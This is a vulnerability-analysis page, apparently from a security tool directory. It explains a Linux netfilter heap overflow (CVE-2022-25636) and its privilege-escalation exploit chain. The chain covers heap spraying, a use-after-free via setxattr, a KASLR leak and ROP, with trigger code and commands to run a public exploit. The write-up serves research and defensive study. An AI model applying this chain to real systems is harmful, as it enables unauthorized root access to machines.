Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25636 — Detailed technical analysis and exploit write-up for CVE-2022-25636, a Linux kernel netfilter heap overflow vulnerability enabling local privilege escalation via heap spraying and UAF. | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2022-25636
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Detailed technical analysis and exploit write-up for CVE-2022-25636, a Linux kernel netfilter heap overflow vulnerability enabling local privilege escalation via heap spraying and UAF.

View Repository
3224 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-25636 netfilter Kernel Privilege Escalation

[toc]

Vulnerability Overview

Vulnerability ID: CVE-2022-25636

Product: linux kernel - netfilter

Affected versions: linux kernel 5.4 ~

Impact: Heap out-of-bounds write in the netfilter kernel module, can lead to privilege escalation when SYS_ADMIN is present.

Environment Setup

The vulnerability exists in the netfilter kernel module, located in three .ko files.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Direct QEMU booting has issues; the .ko files cannot be loaded. Use VMware dual-machine debugging.

Ubuntu 21.10 can manually replace the kernel:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Then delete the original kernel, compile exp:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Privilege escalation effect (success rate less than 50%):

image-20220318151010142

Vulnerability Principle

Vulnerability Trigger Point

The vulnerable function is nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

When setting flow->rule->action.entries (this structure is a variable-length structure without bounds checking), there is no heap boundary check, resulting in an out-of-bounds write of an integer (4 or 5) and a pointer.

Call Stack

The function is used in nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//Calculate num_actions based on number of input rules
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// Only count rules with NFT_OFFLOAD_F_ACTION flag

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//Allocate space based on num_actions (variable-length structure)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions initialized to 0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//Call offload based on number of rules
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//Call vulnerable function
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

It can be seen that the nft_flow_rule_create function allocates the flow structure based on the number of rule structures passed from userspace and processes them. The num_actions variable is used for counting, but during counting, only rules with the NFT_OFFLOAD_F_ACTION flag are counted, and the structure is allocated accordingly. However, when subsequently calling offload for processing, the loop does not use num_actions but instead iterates the same number of times as the total rules, without checking the NFT_OFFLOAD_F_ACTION flag again. That is, when there are rules without the NFT_OFFLOAD_F_ACTION flag, the number of offload calls exceeds the allocated size of flow->rule->action.entries. Inside offload, the vulnerable function nft_fwd_dup_netdev_offload is called, each time incrementing (initialized to 0). Eventually exceeds the bounds of the array, causing an out-of-bounds write.

Some structures:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Call stack:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Usage and Triggering of netfilter

Reference link: https://www.openwall.com/lists/oss-security/2022/02/21/2

This email explains how to use netfilter with the libmnl and libnftnl libraries in C. The key point to trigger the vulnerability is whether the added rule has the NFT_OFFLOAD_F_ACTION flag. Only rules added with nftnl_expr_alloc("immediate"); have the NFT_OFFLOAD_F_ACTION flag:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//Adding expr like this will not cause out-of-bounds
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//Adding expr like this will cause out-of-bounds
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Exploit

The exploit is not very stable, but the technique is exquisite. The vulnerability writes an uncontrollable pointer at a fixed offset out of bounds. In my opinion, the exploitation difficulty is very high. Let's briefly analyze the techniques. According to the vulnerability code, each out-of-bounds write writes an integer (id, fixed at 4 or 5) and a pointer (*dev), where the pointer points to a struct net_device structure. Here we focus on the dev pointer write:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
	entry->id = id;
	entry->dev = dev; //Write a heap address at fixed offset, dev is struct net_device
	··· ···
}

Regarding the struct flow_rule structure, since it is a variable-length structure, the size range it can allocate affects whether exploitation is possible (successful).

  • When only one rule is passed, the structure size is 0x70, which belongs to kmalloc-128 (0x80). If an out-of-bounds write occurs, the dev pointer will be written at offset 0x88, i.e., 0x8 bytes out of bounds.
  • If two rules are passed, the structure size is 0xC0, which exactly belongs to kmalloc-192 (0xC0). If an out-of-bounds write occurs, the dev pointer will be written at offset 0xD8, i.e., 0x18 bytes out of bounds. Two out-of-bounds writes will occur at offsets 0x18 + 0x50, etc.

Relevant structures:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//size 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

Leaking the kernel net_device structure address

To start the exploit, we first need to leak the address of *dev twice. Since we need to leak two different dev addresses, one is leaked in the parent process and the other in a child process. Use msg_msg to leak (msg_msg technique review). Spray messages of size 0x1040. Due to the structure of msg, it will be split into two segments; the second segment has a length of 0x70. Together with the header pointer, it will be allocated from kmalloc-128. Then release one msg, freeing a kmalloc-128 chunk. Next, use a flow_rule structure with only one rule, which is also kmalloc-128, hoping to allocate the just-freed second segment of the msg to form the following heap layout:

image-20220320175028938

After flow_rule allocates the freed msg_msgseg structure, it will likely be adjacent to other sprayed msg_msgseg structures. Then, one out-of-bounds write will write a net_device heap pointer (dev pointer) at offset 0x8 beyond the bounds. By receiving all the sprayed messages, we can read this heap pointer, completing the address leak for subsequent exploitation, and it will not cause a crash.

Using setxattr for UAF to leak KASLR

Next, leak KASLR to obtain the kernel base. Use the same method: msg_msg + heap spray, spray a bunch of kmalloc-192 messages. This time, use the first segment of msg_msg as the spray target. Then, similar to before, free one, and allocate flow_rule to form the following heap layout:

image-20220320184800730

This time, use a flow_rule structure with two rules, size 0xC0, belonging to kmalloc-192. If we perform out-of-bounds writes 6 times, a *dev pointer will be written at offset 0x18 + 0x50*5, which is exactly at offset 0x28 of the third kmalloc-192 chunk below. If that chunk is a msg_msg structure, it corresponds to the security pointer. If we then use msgrcv to free this msg_msg structure, it will call kfree to free the memory pointed to by the security pointer. This is the arbitrary address free primitive for msg_msg->security. The relevant code is as follows:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

Thus, by receiving the just-sprayed messages, the dev pointer that we overwrote as security will be freed, i.e., the net_device structure is freed. Then use setxattr + userfaulted to attempt to tamper with that heap chunk, completing the UAF. setxattr can allocate kernel heap chunks of any size, write arbitrary content, and then free. This is a common technique in kernel exploitation.

Since there are many free kmalloc-192 chunks in the kernel now, using setxattr once is definitely not enough. So we use multiple threads to call setxattr simultaneously, and use userfaulted to increase the call time and heap chunk occupancy, aiming to allocate more kernel heap chunks and eventually allocate the just-freed net_device structure. Once allocated, we can modify the contents of the net_device structure, changing the dev_addr pointer to point to the netdev_ops pointer, because netdev_ops is initialized to loopback_ops. Also change some name fields to verify successful modification:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

Then, by calling the SIOCGIFHWADDR ioctl on a socket to read the hardware address, we can read the address of loopback_ops to complete the leak. Some useful members of net_device are as follows:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //Modify name to verify correctness
	··· ···
	const struct net_device_ops *netdev_ops;//Initialized to, used for leaking kernel address
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //Used for hijacking RIP
	··· ···
	unsigned char		addr_len; //Used for reading address length
	··· ···
	unsigned char		*dev_addr; //Tampered to leak address, read by SIOCGIFHWADDR
};

Second UAF for Kernel ROP

Using the same method with setxattr + userfaulted to achieve UAF. This time, with the kernel address known, we directly tamper with the ethtool_ops of net_device to hijack EIP. Then, using the SIOCETHTOOL ioctl on a socket, it will call a function in ethtool_ops, hijacking RIP, and then we can perform ROP. This was successfully reproduced on Ubuntu 21.10 with kernel version 13.0-30:

exp: https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

References

Email: https://www.openwall.com/lists/oss-security/2022/02/21/2

Author's document: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exp: https://github.com/Bonfee/CVE-2022-25636

Download Tool
ctx->num_actions
ctx->num_actions
flow->rule->action.entries